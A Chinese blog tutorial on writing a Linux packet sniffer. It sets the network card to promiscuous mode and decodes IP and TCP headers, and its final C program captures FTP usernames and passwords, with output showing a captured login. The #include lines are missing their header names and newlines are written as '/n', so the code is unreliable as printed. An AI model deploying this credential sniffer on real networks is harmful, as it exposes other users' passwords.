Sniffer程序是把NIC(网络适配卡,一般如以太网卡)置为一种叫
promiscuous杂
乱模式的状态,一旦网卡设置为这种模式,它就能是
sniffer程序能接受传输在网络上的每一个信息包。普通的情况下,网卡只接受和自己的地址有关的信息包,即传输到本地主机的信息包。要使
sniffer能接受处理这种方式的信息,网卡就必须设置为我们刚开始将的杂乱模式,所以需要Root用户来运行这种sniffer程序,所以大家知道
sniffer需要root身份安装,而你即使以本地用户进入了系统,你也嗅探不到root的密码,因为不能运行sniffer.
所以编写sniffer的步骤为:
1. set
promiscuous, 设置网卡为杂乱模式.
2. sniffer network packet 监听网络数据包
3. Decode packet 对数据包解码(当然你要对网络数据的构成要有所了解)
第一步:
在
linux 下,非常简单的用ifconfig来, 使你要的网卡设置成杂乱模式
[root/chi root]#ifconfig
eth0 Link encap: Ethernet HWadd 00:50:56:46:40:41
inet addr: 192.168.25.3 Bcast: 192.168.25.255 Mask: 255.255.255.0
UP BROADCAST RUNNING MULTICSAT MUT:1500
.....................
[root/chi root]#ifconfig eht0 promisc
[root/chi root]#
用ifconfig把网卡eth0设置成杂乱模式.当然这只是对ifconfig的利用, 如何自己写个setpromisc.c
如下:
/*****************************set_promisc.c**************************/
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#define INTERFACE "eth0" /* 默认网卡 */
main(int argc,char *argv[])
{
int sock;
char *inter;
if(argc == 1)
inter = INTERFACE;
if(argc ==2)
inter = argv[1];
if(argc >2) {
printf("usage: %s /n",argv[0]);
exit(0);
}
if((sock = socket(AF_INET,SOCK_RAW,IPPROTO_TCP)) <0) { /* 定义套接字为SOCK_RAW */
printf("The raw socket was not created/n");
exit(0);
}
set_promisc(inter,sock);
}
int set_promisc(char *interface, int sock ) { /* 杂乱模式函数 */
struct ifreq ifr; /* ifreg结构 */
strncpy(ifr.ifr_name, interface,strlen(interface)+1); /* 输入网卡名 */
if((ioctl(sock, SIOCGIFFLAGS, &ifr) == -1)) { /* 接收网卡信号 */
printf("Could not retrive flags for the interface/n");
exit(0);
}
printf("The interface is ::: %s/n", interface);
ifr.ifr_flags |= IFF_PROMISC; /* 设置网卡信号 = IFF_PROMISC */
if(ioctl(sock, SIOCSIFFLAGS, &ifr) == -1 ) {
printf("Could not set the PROMISC flag./n");
exit(0);
}
printf("Setting interface ::: %s ::: to promisc mode/n", interface);
}
/*****************************************************************/
使用:
[root/chi root]#gcc -o set_promisc set_promisc.c
[root/chi root]#./set_promisc
The interface is ::: eth0
Setting interface ::: eth0 ::: to promisc mode
[root/chi root]#
第2步
写个tcpview.c来查看网络的信息,当然你要先了解网络数据包的构成,数据包大都采用封包的格式,先看看Tcp/IP协议吧
这个协议遵守一个四层的模型概念:应用层、传输层、互联层和网络接口层。
________________________
| Application Layer | 应用层 - 应用程序 Telnet Ftp等等
|_______________________|
| Transport Layer | 传输层 - 传输协议在计算机之间提供通信会话 。
|_______________________| 传输控制协议TCP;用户数据报协UDP
| Internet Layer | 互联层 - 互联协议将数据包封装成internet数据包
|_______________________|
| Network Access Layer | 网络接口层 - 负责数据帧的发送和接收.
|_______________________|
了解Tcp/ip的应用后,也许你还会联想到OSI模式, 不过共同点是每个要发送到网络的数据就要经过处理(封包).
_____________________
| Ethernet | 一个用TFTP来发送的数据包.
| ________________ | 1. 用Tftp来封装数据
| | IP | | 2. 使用用户数据报协UDP;
| | |------------| | | 3. 使用互联协议IP
| | | UDP | | | 4. 通过网络接口并发送
| | | __________ | | |
| | || TFTP || | |
| | || ________ || | |
| | ||| DATA ||| | |
|_|_|||________|||_|__|
对Tcp和ip协议的简述, 我就一笔代过, 不过你还是要了解下, 在Linux(Redht 7.3)下对他们的定以,打开/usr/include/netinet/ip.h
struct iphdr {
unsigned int version:4; /* 版本 */
unsigned int ihl:4; /* Internet包头长度 */
u_int8_t tos; /* 服务类型 */
u_int16_t tot_len; /* 总长度 */
u_int16_t id; /* 标识 */
u_int16_t frag_off; /* 段偏移量 */
u_int8_t ttl; /* 生存时间 */
u_int8_t protocol; /* 协议 */
u_int16_t check; /* 头校验码 */
u_int32_t saddr; /* 源地址*/
u_int32_t daddr; /* 目的地址 */
};
打开/usr/include/netinet/tcp.h
struct tcphdr {
u_int16_t source; /* 源端口 */
u_int16_t dest; /* 目的端口 */
u_int32_t seq; /* 序列码 */
u_int32_t ack_seq; /* 确认码 */
u_int16_t res1:4;
u_int16_t doff:4;
u_int16_t fin:1;
u_int16_t syn:1;
u_int16_t rst:1;
u_int16_t psh:1;
u_int16_t ack:1;
u_int16_t urg:1;
u_int16_t res2:2;
u_int16_t window; /* 窗口 */
u_int16_t check; /* 校验位 */
u_int16_t urg_ptr; /* 优先指针 */
};
有的sniffer则使用自己定一的tcp.h和ip.h,不过内容不变;
/***********************tcp_view.c *******************************/
#include /* 对printf(), std_out等基本命令的定义 */
#include /* 对SOCKET_RAW和网络协议的定义 */
#include /* 对sockaddr_in的定义 */
#include /* 对于网络数据转换的定义, 如ntohs等 */
#include
#include
#include
#include
#include
#include
#include
main()
{
int sock,bytes_received,len;
char buffer[65535];
struct sockaddr_in addr;
struct iphdr *ip;
struct tcphdr *tcp;
if((sock = socket(AF_INET,SOCK_RAW,IPPROTO_TCP)) == -1) { /* 使用SOCK_RAW */
printf("sniffer failt/n");
exit(0);
}
while(1)
{
len = sizeof(addr);
bytes_received = recvfrom(sock,(char *)buffer,sizeof(buffer),0,(struct sockaddr *)&addr,&len);
printf("/nBytes received %5d/n",bytes_received);
printf("Source address %s /n",inet_ntoa(addr.sin_addr));
ip = (struct iphdr *)buffer; /* 格式化buffer的内容 */
printf("IP hearder length %d/n",ip->tot_len);
printf("Protocol %d/n",ip->protocol);
tcp = (struct tcphdr *)(buffer+sizeof(struct iphdr)); /* 格式化ip数据后面的buffer内容 */
printf("Source port %d/n",ntohs(tcp->source));
printf("Dest port %d /n",ntohs(tcp->dest));
}
}
/****************************************************************************/
[root/chi root]#ifconfig eth0 promisc
[root/chi root]#gcc -o tcp_view tcp_view.c
[root/chi root]#./tcp_view
然后我用别的电脑telnet这台主机
[root/chi root]#./tcp_view
Bytes received 40
Source address 192.168.25.1
IP hearder length 10240
Protocol 6
Source port 3173
Dest port 23
第3步
对sniffer到的内容的读取. 在了解封包的结构后要如何把数据提出来呢, 看招.
/************************ftp_sniffer.c****************************/
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#define FTP 21
#define INTERFACE "eth0" /* 网卡 */
int set_promisc(char *interface,int sock) /* 杂乱模式 */
{
struct ifreq ifr;
strncpy(ifr.ifr_name, interface,strlen(interface)+1);
if((ioctl(sock, SIOCGIFFLAGS, &ifr) == -1)) {
printf("Could not retrive flags for the interface/n");
exit(0);
}
ifr.ifr_flags |= IFF_PROMISC;
if(ioctl(sock, SIOCSIFFLAGS, &ifr) == -1 ) {
printf("Could not set the PROMISC flag./n");
exit(0);
}
printf("Setting interface ::: %s ::: to promisc/n", interface);
}
main()
{
struct iphdr *ip;
struct tcphdr *tcp;
struct sockaddr_in addr;
char buffer[1024];
char *data;
int sock,byte_size,addrlen;
addrlen = sizeof(addr);
if(( sock = socket(AF_INET,SOCK_RAW,IPPROTO_TCP)) == -1) { /* 使用SOCK_RAW */
printf("socket failt /n");
exit(0);
}
set_promisc(INTERFACE,sock);
ip = (struct iphdr *)buffer; /* 格式化buffer */
tcp = (struct tcphdr *)(buffer+sizeof(struct iphdr)); /* 格式化去掉iphdr后的buffer */
while(1)
{
byte_size = recvfrom(sock,(char *)&buffer,sizeof(buffer),0,(struct sockaddr *)&addr,&addrlen);
if((ntohs(tcp->dest)) == FTP) /* sniffer FTP 密码 */
{
data = &buffer[sizeof(struct iphdr) + sizeof(struct tcphdr)]; /* data 等于去掉iphdr和tcphdr后的buffer内容 */
printf("data: %s",data);
}
}
}
/*************************************************************************/
上面这个是一个简单的ftp密码sniffer.运行结果:
[root/chi tmp]#gcc -o ftp_sniffer ftp_sniffer.c
[root/chi tmp]#./ftp_sniffer
我在别的主机尝试ftp到这个开了sniffer的电脑上,写上用户名, 密码;
[root/chi tmp]#./ftp_sniffer
data: Z 07:32:41 EDT 2002
......同上
data: Z 07:32:41 EDT 2002
data: Z 07:32:41 EDT 2002
data: Z 07:32:41 EDT 2002
data: USER chi
07:32:41 EDT 2002
......同上
data: USER chi <------------- 用户名
07:32:41 EDT 2002
data: PASS password <------------- 密码
:41 EDT 2002
data: PASS password
:41 EDT 2002
data: SYST
.........
^c
[root/chi tmp]#
看到这里, 你就写出了自己的sniffer了, 当然功能有待扩展, 不过网络上也有好多这样的sniffer程序,比如sniffit,tcpdump,dsniff.等等, 都是很好的选择.
阅读(1759) | 评论(0) | 转发(0) |